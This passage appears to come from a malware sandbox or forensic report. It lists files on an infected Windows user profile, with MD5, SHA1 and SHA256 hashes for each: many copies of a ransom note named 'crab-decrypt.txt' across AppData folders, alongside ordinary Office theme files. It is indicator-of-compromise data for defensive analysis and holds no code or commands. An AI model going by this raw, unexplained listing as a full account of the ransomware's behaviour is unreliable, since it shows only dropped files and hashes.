SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\proof\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\proof\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\proof\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\protect\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\protect\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\protect\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\protect\s-1-5-21-2172869166-1497266965-2109836178-1000\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\protect\s-1-5-21-2172869166-1497266965-2109836178-1000\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\protect\s-1-5-21-2172869166-1497266965-2109836178-1000\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\publisher\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\publisher\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\publisher\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\publisher building blocks\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\publisher building blocks\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\publisher building blocks\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\publisher building blocks\contentstore.xml
users\nd9e1fyi\appdata\roaming\microsoft\publisher building blocks\contentstore.xml
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\publisher building blocks\contentstore.xml
xml
MD5
4dd2a758d59783a4eeb09cc3a04a622d
SHA1
4e29aaca232e12721b3bd53f9faa4c0c968a41ba
SHA256
ca4ab65f795c9cdaf35fc89fe26f483b915aaf34d0357d8b7ec15e532ba31a3f
File
users\nd9e1fyi\appdata\roaming\microsoft\speech\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\speech\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\speech\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\spelling\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\spelling\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\spelling\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\spelling\en-us\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\spelling\en-us\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\spelling\en-us\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\systemcertificates\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\systemcertificates\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\systemcertificates\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\systemcertificates\my\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\systemcertificates\my\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\systemcertificates\my\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\systemcertificates\my\certificates\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\systemcertificates\my\certificates\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\systemcertificates\my\certificates\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\systemcertificates\my\crls\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\systemcertificates\my\crls\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\systemcertificates\my\crls\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\systemcertificates\my\ctls\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\systemcertificates\my\ctls\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\systemcertificates\my\ctls\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\cashflow analysis.xltm
users\nd9e1fyi\appdata\roaming\microsoft\templates\cashflow analysis.xltm
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\cashflow analysis.xltm
xltm
MD5
6fbf4a75f316ffa5c06bd1d6e930d2b4
SHA1
422d43d07965de56ea41654652cd4d661267df42
SHA256
30b29fbd1522924f3957dbdc63701c9f2f23791b3b14d8944e9f2eddfe61f7ec
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\theme colors\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\theme colors\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\theme colors\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\theme effects\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\theme effects\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\theme effects\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\theme fonts\crab-decrypt.txt
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\theme fonts\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\theme fonts\crab-decrypt.txt
txt
MD5
6a601666a0c7a954c5dcc81b4f476e2f
SHA1
5874ddee58a8cb328e5c1f68aca5ff7178901d8a
SHA256
daad50eb03aa9ae396d0223b0dec2c6ccbe4db14324ec0e03872d8fd98a79ec9
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm02836342[[fn=ion]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm02836342[[fn=ion]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm02836342[[fn=ion]].thmx
thmx
MD5
de55d6587353d6bf651d31e57e39d9dc
SHA1
470b17d26e4275bec3c555a1222676d91f509895
SHA256
c72b4845be666875977b608ae528ae63da2fa059d5ab535e734e09d89ebddadb
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm02892315[[fn=wisp]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm02892315[[fn=wisp]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm02892315[[fn=wisp]].thmx
thmx
MD5
96a1156f8b5fc937b9438013329b178e
SHA1
e48ad051719a7e83e1c61b2b44d27d393220c49b
SHA256
0a66e6b45d194c7f73c84179bef2ec5460b4526a98106c376c12305337c538cb
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm02900688[[fn=facet]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm02900688[[fn=facet]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm02900688[[fn=facet]].thmx
thmx
MD5
e6e7256fb78bdae9a6b2c9ace28befbd
SHA1
d5961f2e7e829be513061d5464993ec9beb55438
SHA256
a40560a001a8d7604c55f22615157f5d4c62126cbde19264d77a5535c1db5b5a
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm02900771[[fn=slice]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm02900771[[fn=slice]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm02900771[[fn=slice]].thmx
thmx
MD5
cadb3c0da30291f89e092a5e02640bd0
SHA1
8e76338061d3597f0b9794e634ca1a15c98b06f5
SHA256
df069e21bccf11b24ea9adc1d153086a1ccb634f5278fe7047c4cb29b450de40
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03090430[[fn=banded]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03090430[[fn=banded]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03090430[[fn=banded]].thmx
thmx
MD5
81ef9a9b98cb8bde4b6f2773a49b5109
SHA1
24437f20e0bb9c77326cb6b08ff67de466ab1795
SHA256
2c65398b797782dbda743edf269d5ee1a24540b65437d37896ae435af8413bd1
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03090434[[fn=wood type]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03090434[[fn=wood type]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03090434[[fn=wood type]].thmx
thmx
MD5
c1587dbe39c33e5bbbe5baad4186f86c
SHA1
4785766c81ee062924ebdc9086971fdfadef8fba
SHA256
38aa5633e615b85cb386d7e860b02414e5a32f28e0decc73c90d6f85e8eb97d1
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457444[[fn=basis]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457444[[fn=basis]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457444[[fn=basis]].thmx
thmx
MD5
9e11fde89f689aa45e7f07013490b150
SHA1
95f7f286411b5a11bdb3833932a315bf0fe0b678
SHA256
224f658a958eadff784baea8710f1849017b31d1a75eb0b377b701e64baead51
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457464[[fn=dividend]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457464[[fn=dividend]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457464[[fn=dividend]].thmx
thmx
MD5
76051fa29994c47ed57de1bb58d1ff6c
SHA1
3d84055384400a9b11d045b127b9fe17d343347e
SHA256
4d3c3b324b7cad1ad828ce043f1b1d7ee376ad673673d49df58d451dc05752d5
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457475[[fn=frame]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457475[[fn=frame]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457475[[fn=frame]].thmx
thmx
MD5
b8a5cd8176c89adc3a4a2193363e526b
SHA1
89900d82dd654072ab503cfde4eaeb40509728ec
SHA256
9c68e2acd9e948583e47cbfce132330279e89f256786b8842b7f6ca8c3044f14
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457485[[fn=mesh]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457485[[fn=mesh]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457485[[fn=mesh]].thmx
thmx
MD5
f32b086c758f97a8a0bb563ee69e4b63
SHA1
1d409d3907633a2e27bcc17d4c48a7f1eb781f71
SHA256
6b6a783f9d5b827382a314e986ed85da31ced3b15f63d7612907ee457956a479
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457491[[fn=metropolitan]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457491[[fn=metropolitan]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457491[[fn=metropolitan]].thmx
thmx
MD5
3e8cae1f2393464a34304036dba60940
SHA1
d37c5d8ed5894482a76090989993436891bf6e3c
SHA256
fb624f682c47a2436917519ed5276fcfeb5fc1d47e2000d2170fc7e5372bf673
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457496[[fn=parallax]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457496[[fn=parallax]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457496[[fn=parallax]].thmx
thmx
MD5
d83998fdc7808e89dfe49d74095695ce
SHA1
d254449176173cf448bd35d5712a4d8b3aa6f477
SHA256
1f5b9e9180c1c85f6618dc8ce67f5b4926b7f8a0f682434ad5979b8d7972ded2
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457503[[fn=quotable]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457503[[fn=quotable]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457503[[fn=quotable]].thmx
thmx
MD5
2df1f26ee11ea5b50f80a441a9e731be
SHA1
978732ff8c2cef5e3b5ca75b870fc64a50c10891
SHA256
3bd8c57275a9e130e4ee82307266b8b03e478d13984807ca074f0d060d1718c9
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457510[[fn=savon]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457510[[fn=savon]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457510[[fn=savon]].thmx
thmx
MD5
75ca266e3f3744d3fa062938118a607e
SHA1
5d699a89ef8627a1fed8b69c72a329ce2ce3e28d
SHA256
7573db225fed45775ef359c2af5092cdaa0ece59cc0c2bb373c1e7b46ecdf990
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457515[[fn=view]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457515[[fn=view]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457515[[fn=view]].thmx
thmx
MD5
ea3ce48fb687aed6551a5a06374da0f1
SHA1
cc603efec870ecec299af84ac10ee3a214db3374
SHA256
33bee6160e3856a28b21d054286efcadc93641945eb98433cde11c226e0684c1
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033917[[fn=berlin]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033917[[fn=berlin]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033917[[fn=berlin]].thmx
thmx
MD5
8a820622207844e096523f1393cdae03
SHA1
14a9aa68d0f51c6f2e92c6ccbe4ee9e06a727cdb
SHA256
8cafd429239e4a4249f961da17f8e10699406f1ed7a719dcb99f9d8b926248d7
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033919[[fn=circuit]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033919[[fn=circuit]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033919[[fn=circuit]].thmx
thmx
MD5
4199138446736e1d694428c3eeae187d
SHA1
b476989fd42a8126cf61821b66147753a4567de6
SHA256
f85935c1c1a7e3594d542f1dfba95941e361fb10edfafe753e6b7dbadbe8b2d2
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033921[[fn=damask]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033921[[fn=damask]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033921[[fn=damask]].thmx
thmx
MD5
334003e3df3ca09c1540157cd4158114
SHA1
ae1490e95ee5061599003a39fc724f4d4fd604c2
SHA256
e742b597c04f5484202e8d7854bd777f16c96e98241a3cc00ae89a4a1c64624c
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033925[[fn=droplet]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033925[[fn=droplet]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033925[[fn=droplet]].thmx
thmx
MD5
34efa048b3ea9ebd0f9a1b2f1f37cd85
SHA1
02950b2a44a2972b2d69afdc266bf50fef730ad9
SHA256
4d223b5e94dab1176ac233043fd51750064212940d265b99e3c439ef5c516711
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033927[[fn=main event]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033927[[fn=main event]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033927[[fn=main event]].thmx
thmx
MD5
71e673229d545afcd21d0e9eabff13e4
SHA1
98ba76cba61fddc2f606443df931f07255c3223f
SHA256
8e1b79a3213495106d1eb8192f083c7860378d49b6056a478aa84b0401ce184e
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033929[[fn=slate]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033929[[fn=slate]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033929[[fn=slate]].thmx
thmx
MD5
140c122d2ab26e66817b466057e3e2cd
SHA1
3cc83dff9bf971c5e6998ae560e4a953af99a788
SHA256
7d7005ccc956843608a7769e6dabfa4bf8d5daa3d1be1406ff48cabfccd1a0f1
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033937[[fn=vapor trail]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033937[[fn=vapor trail]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033937[[fn=vapor trail]].thmx
thmx
MD5
6caabb81f15acdbe301f98beaa14ddd6
SHA1
5b12a4305f7c414f41896ca2f9eabbfeb7a14472
SHA256
d21c0832a97db8966be533ffe1b3e40310a23c5de9f7cfbda389357bc0be7f8b
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001103[[fn=headlines]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001103[[fn=headlines]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001103[[fn=headlines]].thmx
thmx
MD5
77772fdda18533fb399d31a79b5bd41e
SHA1
93c58461bbadf31716de1c0664c4c4e617cf7e85
SHA256
0ffc7ee508c3fbf97a3e797ca314e5170049315a560cee0a11b4040d84bc45ef
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001104[[fn=feathered]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001104[[fn=feathered]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001104[[fn=feathered]].thmx
thmx
MD5
13d3b94fc0d7f2c3f6bf1af906f3de06
SHA1
9a7ab73c4fbd36429ee0ec30b72be0de0639f6c7
SHA256
187f252095ef5fd6c4635efc0d37e8e4cbe672cfa6b0ebfc07568427e6c641ee
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001105[[fn=crop]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001105[[fn=crop]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001105[[fn=crop]].thmx
thmx
MD5
a658ab33e435b66271ff2735070bc1ae
SHA1
3bf521890aedc02e37ce1ae90156e6cc5a3d2675
SHA256
098370223da5fe1d7e241a5572cf485d3ffa525622241c67b655eafe55fcb5d6
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001114[[fn=gallery]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001114[[fn=gallery]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001114[[fn=gallery]].thmx
thmx
MD5
0e137e1a97d9ece35730a1bcc5c725e4
SHA1
091f9b513026a523221524ba9c647866334ab79e
SHA256
cef0ceb911413c1d37ed2bb2dca1843bca1270ee45852b2d0e100358de6982e5
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001115[[fn=parcel]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001115[[fn=parcel]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001115[[fn=parcel]].thmx
thmx
MD5
aae7bfa272d494f8a82fb221e38c6152
SHA1
bb22016a715ba32cf1bb3855d15daad070ebee11
SHA256
4e1c176116fd1c184456cbc72f5a9ae28ac423b7b766f54c02e99505137b5230
File
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm16401371[[fn=atlas]].thmx
users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm16401371[[fn=atlas]].thmx
c:\
c:\users\nd9e1fyi\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm16401371[[fn=atlas]].thmx
thmx
MD5
089003123a93a54095b84c782d64cc0d
SHA1
f052a9cbb0bfc268d99eb2460563b52a9b8c454f
SHA256
12f1e3598c7bea2668f7fcf6e28401c14b71996cf821d494e93ba39240a1013f
File
